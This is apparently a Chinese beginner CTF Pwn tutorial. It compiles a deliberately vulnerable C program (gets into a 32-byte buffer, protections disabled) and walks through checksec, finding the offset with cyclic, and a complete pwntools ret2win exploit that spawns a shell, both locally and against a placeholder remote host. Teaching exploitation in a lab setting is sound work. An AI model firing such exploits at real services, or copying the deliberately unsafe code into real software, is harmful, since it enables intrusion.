CTF Pwn 入门:栈布局、checksec 与 pwntools

CTF Pwn 入门

完整演示 Pwn 第一条,包括漏洞代码编译、checksec 防护解读、cyclic 找偏移,到用 pwntools 三个核心 API 完成 ret2win。

14th Aug 2026

4 min read

一、现实背景:gets 为什么危险

C 语言函数 gets 不检查输入长度。缓冲区只有 32 字节,输入 100 字节时,多出的 68 字节会写进相邻内存,覆盖函数调用信息。现代系统为对抗这类问题启用了防护(栈金丝雀、地址随机化等),Pwn 方向就是研究如何在防护下完成利用。

本文只讲一条主线:栈溢出 → 覆盖返回地址 → 跳转执行目标函数。

二、环境准备

在 Linux(Kali/Ubuntu)上:

apt install gcc gdb
pip3 install pwntools

三、漏洞程序与编译

保存 vuln.c:

#include <stdio.h>
#include <stdlib.h>

void win() {
    system("/bin/sh");
}

void vuln() {
    char buf[32];
    gets(buf);
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    puts("Hello, what's your name?");
    vuln();
    puts("Bye!");
    return 0;
}

编译(关闭金丝雀和 PIE,方便入门):

gcc -o vuln vuln.c -fno-stack-protector -no-pie
# -fno-stack-protector:关闭栈金丝雀(canary),允许我们覆盖返回地址。
# -no-pie:关闭地址随机化,win 函数地址固定,可以直接写进 payload。

四、核心步骤 1:checksec 看防护

目的:开打之前先判断"这条路能不能走",避免盲目构造 payload。

思路:三个关键行——没有 canary 才能直接覆盖返回地址;NX 开启意味着不能放 shellcode(本阶段跳过);No PIE 意味着程序内函数地址可以直接写死。

输入:

pwn checksec ./vuln

预期输出:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

只看三行:

行含义对我们意味着什么
Stack: No canary found没有栈金丝雀可以直接覆盖返回地址
NX: NX enabled栈不可执行不能放 shellcode(本阶段先不管)
PIE: No PIE程序地址固定win 的地址可以直接写进 payload

五、核心步骤 2:栈布局与偏移

vuln 被调用时栈上自低到高:

┌──────────────────────┐
│  buf[32]             │ ← 输入从这里写入
├──────────────────────┤
│  saved rbp(8 字节)   │
├──────────────────────┤
│  返回地址(8 字节)     │ ← 覆盖它
└──────────────────────┘

偏移 = 32 + 8 = 40 字节。用 pwntools 的 cyclic 验证:

from pwn import *

p = process('./vuln')
p.sendline(cyclic(200))
# cyclic(200):生成 200 字节的"无重复模式串",例如 aaaabaaacaaa...
# 目的:发送后程序溢出崩溃,崩溃时的地址必然取自模式串的某一段。
p.wait()
# wait():等待子进程结束(崩溃),这样 corefile 才可用。
offset = cyclic_find(p.corefile.fault_addr)
# p.corefile.fault_addr:程序崩溃时 rip 的值(即被覆盖的返回地址)。
# cyclic_find(addr):在模式串里查找该字节片段的位置,返回值就是"到返回地址的距离"。
print(offset)
# 预期输出 40:32 字节 buf + 8 字节 saved rbp。

预期输出:40。

六、核心步骤 3:pwntools 三个核心 API

API 1:ELF——读符号地址

from pwn import *

elf = ELF('./vuln')
# ELF('./vuln'):解析 ELF 文件,得到符号、节区等信息的对象。
# elf.symbols['win']:查 win 函数的虚拟地址(由符号表得到)。
# hex(...):转成十六进制字符串显示,方便阅读。
print(hex(elf.symbols['win']))

预期输出:

0x401176

API 2:process——启动程序

p = process('./vuln')

启动本地进程,之后用 p.sendline()、p.recvuntil() 交互。远程题目改成:

p = remote('1.2.3.4', 10001)

API 3:p64 + sendline——构造并发送 payload

payload = b'A' * 40 + p64(0x401176)
# b'A' * 40:40 个字节的填充,正好填满 buf[32] 与 saved rbp[8]。
# p64(0x401176):把 64 位整数 0x401176 打包成 8 字节小端字节串
# (低字节在前:76 11 40 00 00 00 00 00),作为新的返回地址。
# 两段拼接后,gets 会把这 48 字节全部写入栈,
# 前 40 字节覆盖缓冲区与 rbp,最后 8 字节正好覆盖返回地址。
p.sendline(payload)
# sendline():发送 payload 并自动补一个换行(gets 以换行结束输入)。

p64 把 64 位整数转成 8 字节小端字节串;40 个 A 填满缓冲区与 saved rbp,后面 8 字节正好落在返回地址上。

七、完整 ret2win 脚本

目的:把前三步串成完整 exploit。

思路:等程序打印提示 → 发送"填充 + win 地址" → 程序 ret 跳到 win → 弹出 shell → 交互。

from pwn import *

elf = ELF('./vuln')
p = process('./vuln')

p.recvuntil(b'name?')
# recvuntil():一直读取直到收到指定字节串,保证程序已走到 gets 之前。
# 参数 b'name?':匹配提示文字 "name?",避免过早发送导致输入丢失。
payload = b'A' * 40 + p64(elf.symbols['win'])
p.sendline(payload)
# 触发溢出:覆盖返回地址为 win。
p.interactive()
# interactive():把当前进程的输入输出接到我们的终端,
# 之后就可以像正常 shell 一样输入命令(id、cat flag 等)。

预期结果:

[*] Switching to interactive mode
$ id
uid=1000(ctf) gid=1000(ctf)

程序跳到了 win(),执行 system("/bin/sh"),我们拿到了 shell。

八、必学工具

工具3 个核心功能示例
pwntoolsELF() 读符号、cyclic/cyclic_find 找偏移、p64+sendline 构造发送见上文
checksec查看栈保护、NX、PIEpwn checksec ./vuln
GDB(+pwndbg)断点、看栈、单步break vuln、x/20gx $rsp、continue

九、小 CTF 实战:远程 ret2win

题目:nc 1.2.3.4 10001,运行的就是上面的 vuln。

第一步,本地验证:

python3 exploit.py

第二步,把 process('./vuln') 改成 remote('1.2.3.4', 10001) 再跑:

目的:本地打通后打远程。本地与远程的区别只有一行:连接方式。

验证方式:远程返回同样提示并弹出 shell 即成功;如果远程崩溃或没有反应,先用 checksec 确认远程程序的防护与本地一致。

from pwn import *

elf = ELF('./vuln')
p = remote('1.2.3.4', 10001)
# remote(host, port):建立 TCP 连接,host 是题目 IP,port 是题目端口。
# 之后 sendline/recvuntil/interactive 的用法与本地 process 完全一样。

payload = b'A' * 40 + p64(elf.symbols['win'])
p.sendline(payload)
p.sendline(b'cat flag')
# 进入 shell 后执行 cat flag,读取当前目录下的 flag 文件。
p.interactive()

预期输出:

flag{ret2win}

十、小结

Pwn 入门主线:checksec 判断能不能直接打 → cyclic 确定偏移 → p64 构造 payload 覆盖返回地址。下一级进阶(NX + ASLR)时,目标从"程序内的 win"换成"libc 里的 system",思路不变,详见《栈溢出与 ROP 深入实战》。